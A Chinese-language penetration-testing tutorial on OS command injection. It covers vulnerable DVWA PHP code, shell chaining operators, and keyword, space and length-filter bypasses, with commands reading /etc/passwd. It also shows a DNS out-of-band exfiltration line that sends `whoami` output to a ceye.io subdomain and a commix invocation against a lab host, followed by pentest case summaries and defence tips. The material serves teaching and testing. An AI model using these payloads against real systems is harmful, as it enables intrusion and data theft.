常见操作系统命令注入思路
一.什么是命令注入:
命令注入:
OS command injection翻译过来是操作系统命令注入,它可以让攻击者可以在运行应用程序的服务器上执行任意的操作系统(Operating system)命令,并且通常会完全破坏应用程序及所有数据。攻击者通常可以利用OS命令注入漏洞来破坏托管基础结构的其它部分,利用信任机制将攻击转移到组织内的其它结构。
注入攻击的本质:
攻击者通过输入将精细准备的Payload,使得被攻击系统错误的将恶意代码/命令拼接至已有的命令/代码中进行执行。
二.命令注入的方法:
2.1命令注入的基本呈现形式
从DVWA靶场看看,命令注入的呈现形式:
|符号 拼接注入 命令arp -a,通过这种方式改变/扩展了被测对象的功能。攻击者通过这种方式获取被攻击对象的敏感信息,甚至完全控制被攻击对象。
其实从呈现形式上来看,命令注入不复杂也不难理解,核心就是利用特定的连接符,将攻击者注入的攻击命令拼接至已有的代码中触发执行:
<?php
if( isset( $_POST[ 'submit' ] ) ) {
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if (stristr(php_uname('s'), 'Windows NT')) {
$cmd = shell_exec( 'ping ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
} else {
$cmd = shell_exec( 'ping -c 3 ' . $target );
$html .= '<pre>'.$cmd.'</pre>';
}
}
?>
如上代码所示,攻击者输入的攻击代码会拼接到$target变量中,通过shell_exec函数触发执行。
2.2命令注入的基本姿势
前面聊到了命令注入的核心是拼接,故本章节重点介绍几种bash中常用的命令拼接的方式:
command1 & command2 及 command1; command2
先执行Command 1,不管是否成功,都会执行Command 2
kali@kali:~/test$ 111;uname -a
bash: 111:未找到命令
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:~/test$ 111&uname -a
[5] 29294
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
bash: 111:未找到命令
[5]+ 退出 127 111
kali@kali:~/test$ uname -a;cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
kali@kali:~/test$ uname -a&cat /etc/passwd
[5] 29308
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
kali@kali:~/test$ Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
command1 && command2
与的逻辑,先执行Command 1,执行成功后执行Command 2,否则不执行Command 2
kali@kali:~/test$ 1111&&uname -a
bash: 1111:未找到命令
kali@kali:~/test$ uname -a&&cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
command1 | command2
command1、command2都会执行 command1的标准输出作为command2的标准输入
kali@kali:~$ cat /etc/passwd |wc -l
53
kali@kali:~$
command1 | | command2
或的逻辑,如果command1 执行成功,则不执行command2;如果command1执行失败,则执行command2:
kali@kali:~/test$ uname -a || cat /etc/passwd
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:~/test$ 111 || cat /etc/passwd
bash: 111:未找到命令
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
2.3命令注入的Bypass技巧
命令注入作为常见的漏洞类型之一,注重应用安全的项目会添加一些过滤或者部署WAF来进行防御,本章节介绍一些基于 Linux bash的绕过技巧,并不完备,大家可以自行举一反三:
2.3.1关键字过滤bypass
有一定安全意识的项目会编写一些黑名单规则或基于字符串匹配对于用户输入的命令做一些过滤,但往往难以尽善尽美。基于这些手段,我们可以尝试如下bypass手段。
2.3.1.1 找替代命令bypass
找替代命令是最直接的绕过思路,拿最基本cat查看命令为例,如果被过滤我们可以找到如下替代命令:
cat:由第一行开始显示内容,并将所有内容输出
tac:从最后一行倒序显示内容,并将所有内容输出
more:根据窗口大小,一页一页的现实文件内容
less:和more类似,但其优点可以往前翻页,而且进行可以搜索字符
head:只显示头几行
tail:只显示最后几行
tailf:类似于tail –f
paste:读取文件:
2.3.1.2 关键字拼接绕过
采取关键字拼接的方式进行绕过:
kali@kali:~$ a=ca;b=t;$a$b /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
2.3.1.3 编解码bypass
采取关键字动态编解码的方式进行绕过:
hex编解码绕过
kali@kali:~$ echo -e '\x63\x61\x74'
cat
kali@kali:~$ `echo -e '\x63\x61\x74' /etc/passwd`
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
base编解码绕过
kali@kali:~$ echo Y2F0Cg==|base64 -d
cat
kali@kali:~$ `echo Y2F0Cg==|base64 -d` /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
2.3.1.4 通过特殊符号bypass
转义字符bypass:
命令关键字中增加转义\,不会起起到转义的效果。显式当字符串处理时会进行转义。
──(root💀bdba)-[/usr/bin]
└─# echo "\t"
┌──(root💀bdba)-[/usr/bin]
└─# echo \t
t
┌──(root💀bdba)-[/usr/bin]
└─# ca\t "/etc/passwd"
root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
/t 本应该为: 水平制表(HT) (跳到下一个TAB位置)
引号bypass:
在输入的命令中部分字符添加上’'或"",其命是等效的。
kali@kali:~$
kali@kali:~$ u'n'ame -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:~$ un"a"me -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:~$
root@kali:/# u''name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root@kali:/# u""name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
root@kali:/#
通配符bypass
?或* 在bash中可以替代一个或多个字符。
kali@kali:/bin$ u?ame -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$
kali@kali:/bin$ cat /e?c/p*d
cat: /etc/pam.d: 是一个目录
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
2.3.1.5 shell 特殊变量bypass
$1、 2 、 2、 2、@
kali@kali:/bin$ u$1name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ u$2name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$ u$@name -a
Linux kali 5.7.0-kali1-amd64 #1 SMP Debian 5.7.6-1kali2 (2020-07-01) x86_64 GNU/Linux
kali@kali:/bin$
2.3.1.5 引入其他人为干扰bypass
将注入命令中插入一些无效的变量替换,人为的干扰字符串匹配过滤的规则:
kali@kali:/bin$ who`sadada`ami
bash: sadada:未找到命令
kali
kali@kali:/bin$ who$(sadada)ami
bash: sadada:未找到命令
kali
kali@kali:/bin$
2.3.2特殊符号过滤bypass
2.3.2.1空格过滤bypass
重定向符号绕过:
ali@kali:~$ cat</etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@kali:/home/kali# cat<>/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
shell内部域分隔符绕过:
root@kali:/home/kali# cat${IFS}/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
root@kali:/home/kali# cat$IFS/etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
Internal Field Separator (内部字段分隔符),是linux的环境变量,其默认值为“空格”
root@kali:/home/kali# IFS=:
root@kali:/home/kali# a=“hahaha:hehehe”
root@kali:/home/kali# echo $a
hahaha hehehe
2.3.2.2 拿来主义
从已有环境变量中扣出需要的字符:
gpadmin@cyberlabsz05-EC600G3-GE:~$ echo $HOME
/home/gpadmin
gpadmin@cyberlabsz05-EC600G3-GE:~$ echo ${HOME:0:1}
/
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat ${HOME:0:1}etc${HOME:0:1}passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
从已定义的环境变量中提取已经被过滤掉的字符
2.3.3命令长度限制bypass
一道 CISP-PTE 认证考试的真题还原,考试前序步骤省略,最终可以拿到如下代码进行审计:
<?php
show_source(__FILE__);
error_reporting(0);
$cmd = $_GET['cmd'];
echo '<br>'.strlen($cmd)'<br>';
if(isset($cmd) && (strlen($cmd)<=10))
{
@exec($cmd);
}
echo $_SERVER['SERVER_ADDR'];
?>
这题明摆着告诉你是一道命令注入题,php的exec函数可以执行系统命令,但此处对于用户输入有长度限制需要绕过。
解决办法:
可以通过 >> 输出重定向,向一个.sh中多次追加写入绕过输入长度限制:
kali@kali:~$ echo 'cat /etc\' >> cmd.sh
kali@kali:~$ echo '/passwd' >> cmd.sh
kali@kali:~$ chmod +x cmd.sh
kali@kali:~$ ./cmd.sh
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
kali@kali:~$ cat cmd.sh
cat /etc\
/passwd
kali@kali:~$
2.4注入点的探测及回显问题
命令注入攻击时执行结果往往不会直接返回,那么如何确认是否真的存在注入点?如何获取注入命令的信息反馈呢?
2.4.1重定向命令执行结果
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /etc/passwd > /tmp/passwd
gpadmin@cyberlabsz05-EC600G3-GE:~$ cat /tmp/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
输出重定向到文件需要考虑路径和文件的写入权限问题,通常/tmp 是对于所有用户都有读写权限的。另外可以考虑将注入命令回显信息,写入到某个log文件中,通过前端的log日志下载/查看功能获取命令注入回显。
2.4.2通过捕获ping包及时延判断注入点的存在
某路由器产品的诊断功能产品存在命令注入漏洞,但是后端代码对于回显内容进行了匹配和过滤,采用如下方法判断注入点的存在:
通过ping包和ping包之间的时延,判断拼接至被测对象的os 命令被执行,从而判断命令注入点的存在。
2.4.3 通过应用协议带外输出
命令执行结果,通过DNS查询带外输出举例:
http://ceye.io 注册拿到一个子域名:lblawe.ceye.io,注册号后如下图所示:
该平台可以记录DNS查询信息,借助此平台我们有机会,将命令执行的结果,通过外部平台查看到。假设,当前期待拿到被攻击对象whoami 命令的执行结果。我们采用如下的方式进行命令注入,触发DNS查询:
ping `whoami`.lblawe.ceye.io
如下图所示,whoami 命令的执行结果会通过 DNS log的形式记录在ceye.io站点:
如上图所示,whoami命令的执行结果 root,被当做DNS查询日志,记录在ceye.io站点中。
三.命令注入案例分析:
3.1测评工作中发现的命令注入问题的归纳
命令注入探索方式:
正向探索、反向探索、尝试直接复现
漏洞呈现形式:
产品配置滥用、产品功能滥用、对外接口滥用、组件遗留漏洞滥用、预埋后门被滥用
测试思维:
比较思维:寻找横向可替代资源
观察细节:控制台、日志的两面性;可测试性,让不可见变为可见。
识别可变化的事物:识别可变化的事物
参考《探索吧!深入理解探索式软件测试》
3.2测评工作中的典型命令注入漏洞分享
信息安全要求,与公司实际产品相关的漏洞细节不能呈现…
3.2.1 预埋后门被滥用案例
[某数据卡存在操作系统任意命令执行AT指令后门](高危)
漏洞描述
逆向二进制文件,走查代码发现数据卡存在任意命令执行AT指令后门。
探索思路
反向探索:猜测(开发人员习惯)->审计,寻找匹配的代码段->实验,验证漏洞的存在。
从测试心理学的角度来说,一切好的测试都源于怀疑、猜测,假定缺陷/漏洞是存在的;而不像CI那样期待软件永远相安无事的运行下去…。
3.2.2 产品配置滥用案例分享_1
某 摄像头 [WEB UI 网络配置->NTP设置存在linux命令注入漏洞](高危)
漏洞描述
摄像头 NTP协议功能配置存在linux命令注入漏洞。
探索思路
正向探索:猜测(产品实现方案)-> 基于实现方案的特征,尝试注入
省事的设计方案,往往给你埋下最多的麻烦。
3.2.3 产品配置滥用案例分享_2
某产品配置 管理->容灾复制->容灾复制计划 存在命令注入漏洞
漏洞描述
某产品配置->管理->容灾复制 功能接口 可以在 复制源路径 或 目的路径参数注入Shell命令实现越权
探索思路
正向探索:审计log打印->猜测功能的实现方式->实验,确认漏洞的存在。
不要让我知道得太多!
3.2.4 产品功能滥用案例分享_1
buffalo 路由器诊断功能命令注入漏洞
漏洞描述
buffalo 路由器网络诊断功能,由于后端对于用户输入的IP地址参数检查不严,导致命令注入
探索思路
正向探索:比较(相似的案例、相似的对外呈现)->直接复制经验,确认漏洞的存在->绕过限制成功利用。
跟学生时代做题一样,见得多做的多就会有更多的条件反射。
探索过程
https://blog.csdn.net/jdhellfire/article/details/121969416
3.2.5 产品功能滥用案例分享_2
某产品 补丁升级>篡改补丁包实现命令注入,越权创建管理员账户(高)
漏洞描述
补丁包没有签名及完整性检查。篡改补丁包实现命令注入可以越权创建管理员账户。
探索思路
反向探索:逆向->漫游文件和代码->敏锐的识别有风险的方案->实验和利用。
如果没有足够的防御意识,为用户提供方便和灵活性的的同时,也同样给攻击者大开方便之门。
3.2.5 产品功能滥用案例分享_3
某产品 版本升级功能,通过版本包文件名可以实现命令注入(中危)
漏洞描述
版本升级功能,upgrade 子程序在调用系统命令执行版本包解压时,对于文件名没有做合法性效验。可以通过版本包文件名实现命令注入。
探索思路
反向探索:代码逆向,搜索危险函数->猜测对应的产品功能->实验确认漏洞存在
不是只有web 才有命令注入…
3.2.6 对外接口滥用案例分享
某产品消息代理 工具check 消息接口存在命令注入漏洞(高)
漏洞描述
某产品消息代理 工具 消息接口存在危险的命令拼接,及root 权限bash命令执行。存在高危命令注入漏洞
探索思路
反向探索:找木桶短板->代码走查找危险函数->猜测对应的对外接口->构造消息验证漏洞的存在。
渗透测试不在于覆盖率多少产品模块,而在于找到木桶短板…
3.2.7 组件遗留漏洞滥用案例分享
某产品 OpenSSH组件存在命令注入漏洞(高危)
漏洞描述
某产品 OpenSSH组件版本为5.03.30,存在已知的CVE漏洞CVE-2020-15778,攻击者可以利用此漏洞实现命令注入。
探索思路
尝试直接复现:商用工具扫描->发现组件遗漏漏洞->找exp/poc直接尝试复现。
四.命令注入工具分享:
4.1 commix工具简介
commix
Commix(简写为[comm]和[i]njection e[x]ploiter),是由Anastasios Stasinopoulos 编写的一个自动化工具,可以由web开发人员、渗透测试人员甚至安全研究人员使用,用于测试基于web的应用程序,以发现与命令注入攻击相关的bugs、错误或漏洞。通过使用该工具,可以很容易地在某个脆弱参数或HTTP头中发现和利用命令注入漏洞。
工具的指令参数很多,具体可使用help获取,这里不再详细讲述。提供几个重要的命令:
目标:
-u URL,—url = URL 目标URL。
请求:
—data=DATA 要通过POST发送的数据字符串。
—host=HOST HTTP主机头。
—referer=REFERER HTTP Referer标头。
—user-agent=AGENT HTTP用户代理头。
—random-agent 使用随机选择的HTTP User-Agent头。
—cookie=COOKIE HTTP Cookie头。
—headers=HEADERS 额外标头(例如「Header1:Value1 \ nHeader2:Value2」)。
—force-ssl 强制使用SSL / HTTPS。
4.2 commix应用简介
通过 commix 工具自动注入DVWA靶场:
burpsuite 抓包拿到cookie和data:
构造命令,执行注入:
python commix.py --url="http://192.168.100.199/DVWA1/vulnerabilities/exec/" --data="ip=192.168.100.199&submit=submit" --cookie="security=low; PHPSESSID=206s7i424rtjsfdi1m0jjd5or0"
五.命令注入的防御Tips:
-
到目前为止防御OS命令注入攻击的有效方法是永远不要从应用程序代码中调用OS命令。在几乎每种情况下,都有使用更安全的平台API来实现所需功能的替代方法。
-
如果认为无法通过用户提供的输入来调用OS命令,则执行更强大的输入验证,有效的验证方法包括:
●根据输入值来对比白名单上的内容。
●验证它们的输入是否仅包含字母数字字符,不包含其它语法或者空格。
-
千万不用通过转义shell字符来清理输入。实际上很容易出现绕过。
-
对于操作系统busybox组件进行裁剪;去掉产品功能实现不需要的命令、功能模块。
-
为了减少命令注入带来的影响,不要轻易采用root权限启动应用。
-
log、打印回显中,谨慎暴露产品实现细节信息,不要给攻击者更多的想象空间。
参考:
什么是OS命令注入,如何防止 :
https://portswigger.net/web-security/os-command-injection
[工具] Commix :
https://github.com/commixproject/commix
PayloadsAllTheThings:
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection